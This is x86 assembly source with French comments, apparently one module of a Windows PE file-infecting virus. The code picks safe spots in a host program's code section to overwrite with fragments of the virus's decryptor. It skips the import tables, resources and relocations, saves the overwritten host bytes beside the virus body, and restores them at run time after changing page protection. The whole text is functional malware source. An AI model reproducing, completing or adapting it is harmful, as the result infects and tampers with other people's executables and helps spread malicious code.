;MODULE : FRAGMENTATION ;Ce module est chargé de trouver X parties de la section .code de l'hote qui peuvent être ;écrasées sans risque. Ces X parties seront écrasées par les X ilots du décrypteur. A la ;charge également de sauvegarder et restaurer le code de ces parties. ;trouve_adresse: in: edx-->PE Header, table adresses_interdites remplie, esi->section header où la trouver ; ebx=taille à réserver ; out: eax=adresse raw trouvée 0 si aucune trouve_adresse proc near push ecx mov ecx,MAX_RETRY ta_1: mov eax,[esi+16] ;27/12/07 : check avec la RawSize et pas la VSize !!! sub eax,ebx cmp eax,0 jle ta_err call rand_tuna add eax,[esi+12] call est_adresse_valide jc ta_ok loop ta_1 ta_err: xor eax,eax ta_ok: pop ecx ret trouve_adresse endp ;trouve_adresses: in: edx-->PE Header, table adresses_interdites remplie, ; ecx = nombre de parties, ebx = taille des parties ; out: table locations remplie, eax=1 si ok ; trouve_adresses proc near push ebx ecx esi edi lea edi,[ebp+locations] mov eax,[edx+28h] ; première partie sur l'EP stosd call evite_adresse push eax mov eax,ebx stosd pop eax dec ecx jecxz ta_fini call section_info ;eax-->.code header mov esi,eax tas_1: call trouve_adresse test eax,eax jz ta_fin ;pas trouvé stosd call evite_adresse mov eax,ebx stosd loop tas_1 ta_fini: xor eax,eax stosd inc eax ta_fin: pop edi esi ecx ebx ret trouve_adresses endp ;EVITE_ADRESSES: ajoute les structures principales du Pe dans les adresses à éviter. ; in : edx--> PE header ; ebx--> evite_adresses proc near pusha mov ecx,ebx mov eax,[ebp+infection_rva] ; on ecrase pas notre propre code mov ebx,VIRTUAL_SIZE_VIRUS call evite_adresse mov eax,[edx+88h] ; ni les ressources mov ebx,[edx+8Ch] call evite_adresse mov eax,[edx+80h] ; ni l'IAT mov ebx,[edx+84h] call evite_adresse ; ni les idd de l'iat et tout ce qu'ils contienent call rva2raw lea edi,[eax+ecx] rtai_1: mov eax,[edi] test eax,eax ; OFT présent ? jz rtai_2 push eax ; evite l'OFT call rva2raw lea esi,[eax+ecx] call taille_liste pop eax call evite_adresse jmp rtai_3 rtai_2: mov eax,[edi+10h] ; FT present ? test eax,eax jz rtai_4 ; fin des imports rtai_3: push eax ; evite le FT mov eax,[edi+10h] call rva2raw lea esi,[eax+ecx] call taille_liste mov eax,[edi+10h] call evite_adresse pop eax call rva2raw ; evite les IID add eax,ecx mov esi,eax call min_liste mov eax,ebx call max_liste sub ebx,eax add ebx,50 call evite_adresse add edi,14h jmp rtai_1 rtai_4: cmp [ebp+is_relocated],byte ptr 0 jz ea_pas_relocated mov eax,[edx+0A0h] ; evite les relocs mov ebx,[edx+0A4h] call evite_adresse ea_pas_relocated: popa ret evite_adresses endp ;EVITE_ADRESSE: in: eax=RVA ebx=taille evite_adresse proc near pusha push eax mov edi,[ebp+adresses_interdites] add ebx,eax mov ecx,MAX_ENDROITS_INTERDIT xor eax,eax repnz scasd stosd pop eax mov [edi-8],eax mov [edi-8+MAX_ENDROITS_INTERDIT],ebx popa ret evite_adresse endp ;MIN_LISTE : in: esi->liste ; out: ebx=min de la liste min_liste proc near push esi push eax xor ebx,ebx dec ebx ml_1: lodsd test eax,eax jz ml_2 cmp eax,ebx ja ml_1 mov ebx,eax jmp ml_1 ml_2: pop eax pop esi ret min_liste endp ;MAX_LISTE : in: esi->liste ; out: ebx=max de la liste max_liste proc near push esi push eax xor ebx,ebx ma_1: lodsd test eax,eax jz ma_2 cmp eax,ebx jb ma_1 mov ebx,eax jmp ma_1 ma_2: pop eax pop esi ret max_liste endp ;TAILLE_LISTE : in: esi->liste terminée par 0 ; out: ebx=taille de la liste taille_liste proc near push edi push eax mov edi,esi xor eax,eax xor ebx,ebx tl_1: inc ebx scasd jnz tl_1 dec ebx shl ebx,2 pop eax pop edi ret taille_liste endp ;EST_ADRESSE_VALIDE: regarde si l'adresse est dans la liste adresses_interdites ; in: eax=RVA ebx=taille de la zone ; out: carry bit vrai si ok est_adresse_valide proc near pusha mov ecx,eax jecxz eav_fin lea edx,[eax+ebx] mov esi,[ebp+adresses_interdites] eav_1: lodsd test eax,eax stc jz eav_fin cmp ecx,[esi-4+ MAX_ENDROITS_INTERDIT] ja eav_2 cmp edx,eax jb eav_2 clc jmp eav_fin eav_2: jmp eav_1 eav_fin: popa ret est_adresse_valide endp ;SAUVEGARDE_HOTE : sauvegarde les parties de code de l'hote écrasées par le décrypteur ; juste avant le code du corps du virus ;in: table locations remplie, edx->pe header ebx->filemapping ;out: code sauvegardé avant le virus, dans l'ordre des locations sauvegarde_hote proc near pusha lea esi,[ebp+locations] mov edi,[ebp+infection_raw] add edi,TAILLE_IMPORTS sh_1: lodsd test eax,eax jz sh_fin call rva2raw lea ecx,[eax+ebx] lodsd push esi mov esi,eax xchg ecx,esi rep movsb pop esi jmp sh_1 sh_fin: popa ret sauvegarde_hote endp ;RESTORE_HOTE : in: table locations remplie, edx->pe header ; out : code de l'hote restauré là où il faut restaure_hote proc near pusha movzx ecx,byte ptr [ebp+sauve_nb_parties] mov ebx,[ebp+sauve_imagebase] lea esi,[ebp+sauve_locations] mov edx,[ebp+sauve_infection_rva] lea edx,[edx+ebx+TAILLE_IMPORTS] restore_1: lodsd test eax,eax jz restore_2 lea edi,[eax+ebx] lodsd push ecx mov ecx,eax lea eax,[esp-4] pusha ; pour pouvoir ecrire dans la section push eax push dword ptr PAGE_EXECUTE_READWRITE push ecx push edi call_ VProtect popa push esi mov esi,edx rep movsb mov edx,esi pop esi pop ecx loop restore_1 restore_2: popa ret restaure_hote endp